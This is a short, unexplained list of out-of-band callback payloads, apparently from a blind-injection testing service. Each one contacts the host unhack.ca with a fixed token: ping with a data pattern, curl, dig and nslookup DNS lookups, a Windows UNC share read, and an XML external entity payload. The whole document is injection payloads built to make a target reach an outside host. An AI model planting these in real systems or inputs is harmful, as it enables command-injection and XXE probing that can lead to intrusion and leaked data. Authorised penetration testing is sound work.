$ ping -c1 -p 00b7683482f68dd3317d5287600d2600 unhack.ca
 

$ curl http://unhack.ca/p/b7683482f68dd3317d5287600d26
 

$ dig b7683482f68dd3317d5287600d26 @unhack.ca
 

$ dig b7683482f68dd3317d5287600d26.ns.unhack.ca
 

C:\> nslookup b7683482f68dd3317d5287600d26 unhack.ca
 

C:\> type \\unhack.ca\b7683482f68dd3317d5287600d26\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b7683482f68dd3317d5287600d26">]>
    <foo>&xxe;</foo>